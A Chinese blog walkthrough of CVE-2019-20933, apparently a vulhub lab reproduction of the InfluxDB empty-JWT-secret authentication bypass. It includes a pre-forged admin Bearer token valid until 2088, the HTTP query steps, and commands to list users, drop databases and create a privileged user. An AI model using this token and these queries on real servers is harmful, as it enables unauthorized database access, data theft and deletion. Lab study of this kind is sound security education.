数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.

2023-11-12 00:45

本文主要是介绍数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.

InfluxDB 是一个开源分布式时序,时间和指标数据库。其数据库是使用 Jwt 作为鉴权方式,在用户开启认证时,如果在设置参数 shared-secret 的情况下,Jwt 认证密钥为空字符串,这样攻击者就能伪造任意用户身份在 InfluxDB 数据库中执行SQL语句,因此会导致敏感信息泄露和执行威胁到数据库的数据命令.


目录:

数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.

InfluxDB 未授权访问:

开启 vulhub 靶场环境:

Jwt验证不当 漏洞:


InfluxDB 未授权访问:

开启 vulhub 靶场环境:

第一步:切换到 vulhub 目录下

cd vulhub


第二步:切换到 influxdb 目录下.

cd influxdb


第三步:切换到 CVE-2019-20933 漏洞目录下.

cd CVE-2019-20933 


第四步:开启 漏洞 服务.

docker-compose up -d 


    

Jwt验证不当 漏洞:

第一步:访问 http://IP地址:8086/debug/vars 查看能不能访问到系统的服务信息,如果能 则可能存在漏洞.(8086 是默认端口.)

http://192.168.0.105:8086/debug/vars


第二步:访问 http://IP地址:8086/query 查看查询功能是否会有提示需要登录.

http://192.168.0.105:8086/query


第三步:添加 POST 请求值.

db=sample&q=show users            // 意思是:显示 数据库中的用户.


第四步:访问 URL ,然后用 Burp 进行抓包,再发给 Repeater(重发器)


第五步:通过 JSON Web Tokens - jwt.io 生成所需要的 Token:

{"alg": "HS256","typ": "JWT"
}{"username": "admin","exp": 3751718877
}

( username需要已存在的用户才行,所以使用 admin 用户就好.)

exp是时间戳 ,这个时间戳一定要是未来的时间才行,这里我生成了一个 2088 年的时间戳(所以我下面的Encoded值可以直接用):3751718877)

在线时间戳,转换器:https://www.beijing-time.org/shijianchuo/


第六步:在 Burp 抓包的数据包中添加 Authorization: Bearer (后面就是 Encoded 生成的值)【这个可以直接用,因为时间戳的结束是2088年】

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjozNzUxNzE4ODc3fQ.0w_-RJXNLryUpIZnglQGRDewVNty-_d9xuS-MdO4YDQ


第七步:如果要进行其他操作则修改 q= 你想要查看的信息就行.

show users			# 显示用户show databases		# 显示数据库create database xxx	# 创建xxx数据库drop database xxx	# 删除xxx数据库create user influx with password '***' with all privileges;	# 创建用户

    

   

    

参考文章:InfluxDB 未授权访问 漏洞复现_debug/vars-CSDN博客

这篇关于数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/393945

相关文章

Mysql用户授权(GRANT)语法及示例解读

《Mysql用户授权(GRANT)语法及示例解读》:本文主要介绍Mysql用户授权(GRANT)语法及示例,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录mysql用户授权(GRANT)语法授予用户权限语法GRANT语句中的<权限类型>的使用WITH GRANT

Spring Security+JWT如何实现前后端分离权限控制

《SpringSecurity+JWT如何实现前后端分离权限控制》本篇将手把手教你用SpringSecurity+JWT搭建一套完整的登录认证与权限控制体系,具有很好的参考价值,希望对大家... 目录Spring Security+JWT实现前后端分离权限控制实战一、为什么要用 JWT?二、JWT 基本结构

java解析jwt中的payload的用法

《java解析jwt中的payload的用法》:本文主要介绍java解析jwt中的payload的用法,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Java解析jwt中的payload1. 使用 jjwt 库步骤 1:添加依赖步骤 2:解析 JWT2. 使用 N

Linux内核参数配置与验证详细指南

《Linux内核参数配置与验证详细指南》在Linux系统运维和性能优化中,内核参数(sysctl)的配置至关重要,本文主要来聊聊如何配置与验证这些Linux内核参数,希望对大家有一定的帮助... 目录1. 引言2. 内核参数的作用3. 如何设置内核参数3.1 临时设置(重启失效)3.2 永久设置(重启仍生效

SpringSecurity JWT基于令牌的无状态认证实现

《SpringSecurityJWT基于令牌的无状态认证实现》SpringSecurity中实现基于JWT的无状态认证是一种常见的做法,本文就来介绍一下SpringSecurityJWT基于令牌的无... 目录引言一、JWT基本原理与结构二、Spring Security JWT依赖配置三、JWT令牌生成与

SpringSecurity6.0 如何通过JWTtoken进行认证授权

《SpringSecurity6.0如何通过JWTtoken进行认证授权》:本文主要介绍SpringSecurity6.0通过JWTtoken进行认证授权的过程,本文给大家介绍的非常详细,感兴趣... 目录项目依赖认证UserDetailService生成JWT token权限控制小结之前写过一个文章,从S

opencv图像处理之指纹验证的实现

《opencv图像处理之指纹验证的实现》本文主要介绍了opencv图像处理之指纹验证的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学... 目录一、简介二、具体案例实现1. 图像显示函数2. 指纹验证函数3. 主函数4、运行结果三、总结一、

springboot security使用jwt认证方式

《springbootsecurity使用jwt认证方式》:本文主要介绍springbootsecurity使用jwt认证方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地... 目录前言代码示例依赖定义mapper定义用户信息的实体beansecurity相关的类提供登录接口测试提供一

使用Dify访问mysql数据库详细代码示例

《使用Dify访问mysql数据库详细代码示例》:本文主要介绍使用Dify访问mysql数据库的相关资料,并详细讲解了如何在本地搭建数据库访问服务,使用ngrok暴露到公网,并创建知识库、数据库访... 1、在本地搭建数据库访问的服务,并使用ngrok暴露到公网。#sql_tools.pyfrom

Javascript访问Promise对象返回值的操作方法

《Javascript访问Promise对象返回值的操作方法》这篇文章介绍了如何在JavaScript中使用Promise对象来处理异步操作,通过使用fetch()方法和Promise对象,我们可以从... 目录在Javascript中,什么是Promise1- then() 链式操作2- 在之后的代码中使